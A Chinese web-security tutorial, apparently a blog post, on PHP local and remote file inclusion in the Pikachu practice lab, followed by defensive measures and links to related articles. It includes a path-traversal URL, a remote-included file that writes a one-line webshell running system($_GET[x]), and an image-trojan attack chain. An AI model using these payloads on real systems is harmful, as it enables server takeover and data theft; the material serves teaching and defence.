06_文件包含漏洞

【Web安全从入门到放弃】01_暴力破解漏洞
【Web安全从入门到放弃】02_跨站脚本漏洞
【Web安全从入门到放弃】03_跨站请求伪造(CSRF)漏洞
【Web安全从入门到放弃】04_Sql-Inject漏洞
【Web安全从入门到放弃】05_远程命令、代码执行漏洞

文件包含漏洞概述

在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用“包含"函数功能。比如把一系列功能函数都写进fuction.php中 ,之后当某个文件需要调用的时候就直接在文件头中写上一句

<?php include fuction.php?>

就可以调用函数代码。但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用
了“包含"功能) ,又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改包含文件的位置来让后台执行任意文件(代码)。这种情况我们称为"文件包含漏洞”。

文件包含漏洞有"本地文件包含漏洞”和"远程文件包含漏洞”两种情况。

包含函数:

通过include()或require()语句,可以将PHP文件的内容插入另一个PHP文件(在服务器执行它之前)。
include和require语句是相同的,除了错误处理方面:
require会生成致命错误( E_ COMPILE ERROR )并停止脚本
include只生成警告( E_ _WARNING ) , 并且脚本会继续

Test. php文件:

<?php $color=' 银色的'; $car= '奔驰轿车'; ?>

Index.html文件:

<html> <body> <h1>欢迎访问我的首页! </h1>
<?php include 'test.php'; echo我有一辆" . $color,$car
?>
</body> < /html>

本地文件包含漏洞测试:

随便选择一个球星的名字进行提交,前端就会给我们输出个人介绍,我们看到这时的url上

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

filename=file1.php,可知前端提交了一个文件名的参数到后台上,我们来查看一下后台的代码:

$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){$filename=$_GET['filename'];include "include/$filename";//变量传进来直接包含,没做任何的安全限制
//     //安全的写法,使用白名单,严格指定包含的文件名
//     if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
//         include "include/$filename";//     }
}

这就是后台对前端输入参数处理情况,还是无条件的信任用户输入,没有作任何的处理,对输入的参数直接调用include函数处理。那么如果我们恶意修改url上面的参数,猜想一下服务器的文件名结构进行查询。

例如:

127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../../../../../phpStudy/WWW/phpinfo.php&submit=提交查询

…/…/…/…/的作用是返回上一级,写多一些是确保返回到根目录,然后根据自己对服务器文件结构的猜想进行查询,这样就可以得到phpinfo的信息,其他信息经过构造注入语句同样可以查询到。

远程文件包含漏洞测试

远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中, 攻击者可以通过访问外部地址来加载远程的代码。

远程包含漏洞前提:

如果使用的incldue和require,则需要php.in配置如下( php5.4.34 ) :
allow_url_fopen = on //默认打开
Allow_url_include=on //默认关闭

外部地址下的文件:1.txt

<?php
$myfile = fopen("yijuhua.php","w");
$txt = "<?php system($_GET[x]);?>";
fwrite($myfile,$txt);
fclose($myfile);
?>

如果allow_url_include没有打开,就按照提示到相应文件下修改。但我们在实际情况下是没有提示的,要自己清楚这一点。

将allow_url_include设置为on即可,然后重启一下phpstudent。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/1.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

将fliename的参数修改为外部地址,提交之后就会生成一个yijuhua.php文件,我们在去访问它即可。

http://127.0.0.1/pikachu/vul/fileinclude/yijuhua.php/?x=ipconfig

并且给x传入一个参数(ipconfig是查询命令)。


从结果可以看到,网页输出我们想要的数据。

文件包含漏洞之文件上传漏洞的利用

思路:

1 、制作一个图片木马,通过文件上传漏洞上传;
2 、通过文件包含漏洞对该图片木马进行"包含”;
3 、获取执行结果。

文件包含漏洞常见防范措施

0.在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作。

1.过滤各种… ,http:// , https://

2.配置php.ini配置文件:
allow_ url_ fopen = off
Allow_ url_ include= off
magic_ quotes. _gpc=on //gpc在

3.通过白名单策略,仅允许包含运行指定的文件,其他的都禁止。

【Web安全从入门到放弃】06_文件包含漏洞相关推荐

  1. DVWA之PHP文件包含漏洞(File Inclusion)

    PHP文件包含漏洞,简单地说,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码.更多 ...

  2. Web安全从入门到放弃之皮卡丘靶场精讲视频教程百度云下载链接(20201213整理)

    Web安全从入门到放弃之皮卡丘靶场精讲视频教程(20201213整理) 如失效,请联系:hk007.cn 课程内容介绍:含全套视频课程内容及对应皮卡丘靶场源文件 百度云盘链接:https://pan. ...

  3. 【Web安全从入门到放弃】11_目录遍历和敏感信息泄露漏洞

    11_目录遍历和敏感信息泄露漏洞 目录遍历漏洞概述 在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活.当用户发起一个前端的请求时,便会将请求的这个文件的值( ...

  4. Web安全之文件包含漏洞

    什么是文件包含 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件.而无需再次编写,这种 文件调用的过程一般被称为文件包含. 例如:include "conn ...

  5. test.php.bak,记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)

    题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...

  6. Web安全——文件包含漏洞

    一.文件包含漏洞 原理     文件包含漏洞是"代码注入"的一种.其原理就是注入一段用户能控制的脚本或代码,并让服务端执行."代码注入"的典型代表就是文件包含. ...

  7. Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)

    Web安全:文件包含漏洞测试. 文件包含的漏洞是  程序员在开发网站的时候,为了方便自己开发构架,使用了一些包含的函数(比如:php开发语言,include() , include_once() , ...

  8. 【web安全】文件包含漏洞

    目录 1.什么是文件包含漏洞 2.产生原因 3.文件包含的类型 3.1本地文件包含 3.2远程文件包含 4.攻击利用手法 4.1 file:协议 4.2 php://协议 ​4.3 zip://,bz ...

  9. WEB漏洞—文件包含漏洞

    介绍 所谓文件包含漏洞,故名思意,就是在文件中包含(引用)了其他文件所导致的漏洞.例如有些函数在不同代码中的作用都是相同的,在这里我们可以称呼它为"变量",那么这时程序员就会将该& ...

  10. WEB渗透之文件包含漏洞

    1.文件包含 1.1原理: 服务器执行的php文件中可能包含木马文件或者恶意代码 1.2漏洞产生原因 1.web采用include()等文件包含函数通过动态变量的方式引入需要包含的文件 静态包含使用i ...

最新文章

  1. 用Transformer完全替代CNN?
  2. 一些可以让心灵安静的动图
  3. 相册权限_苹果手机惊现漏洞?App在未获取相册权限的情况下成功读取照片
  4. 4.x版本内核中platform_device的生成
  5. python 3.7.3 thinker_GitHub - thinkerwalker/python3-bin
  6. Atitit.5gl 第五代语言编程语言 PROLOG教程  人工智能语言的标准 与实现
  7. 最简单的视音频播放示例7:SDL2播放RGB/YUV
  8. Puppeteer设置浏览器代理的三种思路
  9. JAVA并发编程实践笔记
  10. 你一定要知道的敏捷规划工具:影响地图
  11. 车辆保险过户所需材料(郑州)
  12. [Linux] 获取Shell脚本自身所在位置的绝对路径;
  13. windows 驱动实现进程枚举
  14. 2020年电工(初级)考试及电工(初级)考试平台
  15. 基于51单片机DTH11温湿度测量仪protues仿真设计_LCD显示
  16. 家用监控摄像机录制视频上的时间水印有什么用
  17. 怎样判断安装的mysql是社区版还是企业版
  18. 红米5plus刷android one,手机知识:红米5plus如何 红米5plus配置参数
  19. (五)A股市盈率下降近三成
  20. Oracle中对数据分组统计

热门文章

  1. winrar破解注册
  2. 删除后别人的微信号变成wxid_如何找回已删除的微信好友?卓师兄神助攻
  3. 清华大学计算机吴教授,清华大学计算机系教授吴文虎到我校讲学
  4. 结构化思维在产品工作中的应用
  5. Unity UGUI Inputfield 回车submit 按下Enter回车完成
  6. (转)一些jbx的配置
  7. [操作系统] elementary os系统美化插件
  8. MATLAB连接MYSQL搞数据
  9. 一文详解AndroidX,再也不会傻傻分不清了
  10. [今日阅读] [TSE 2019] - Mining Fix Patterns for FindBugs Violations